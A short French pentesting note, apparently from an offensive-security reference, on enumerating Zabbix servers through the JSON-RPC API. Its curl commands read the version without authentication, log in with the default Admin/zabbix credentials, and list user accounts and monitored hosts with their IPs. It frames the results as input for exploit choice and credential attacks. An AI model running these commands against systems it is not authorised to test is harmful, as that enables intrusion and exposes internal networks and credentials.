L'énumération de Zabbix se fait via l'API JSON-RPC (/api_jsonrpc.php) et l'interface web. La version est lisible, généralement sans authentification, via apiinfo.version et le pied de page de la page de connexion, et c'est le fait clé pour le choix des exploits. Après authentification (ou via n'importe quelle session), l'API énumère les comptes utilisateurs (user.get), ce qui alimente les attaques sur les identifiants, et les hôtes supervisés (host.get), qui constituent une carte du parc interne : les adresses IP, noms d'hôtes et interfaces que Zabbix atteint, ainsi que les items et macros qui portent souvent les identifiants utilisés pour les superviser. L'API est la voie efficace ; l'interface affiche les mêmes données.
Z=https://<target>/zabbix/api_jsonrpc.php; H='Content-Type: application/json-rpc'
# version (no auth in many versions)
curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"apiinfo.version","params":{},"id":1}'
# authenticate to get a token, then enumerate
TOK=$(curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"zabbix"},"id":1}' | jq -r .result)
curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username","roleid"]},"auth":"'"$TOK"'","id":1}'
curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"host.get","params":{"output":["host"],"selectInterfaces":["ip","dns"]},"auth":"'"$TOK"'","id":1}'
Sous-thèmes#
- Détection de version : lire la version de Zabbix.
- API : l'API JSON-RPC comme interface d'énumération.
- Utilisateur : énumérer les comptes.
- Hôte : l'inventaire des hôtes supervisés.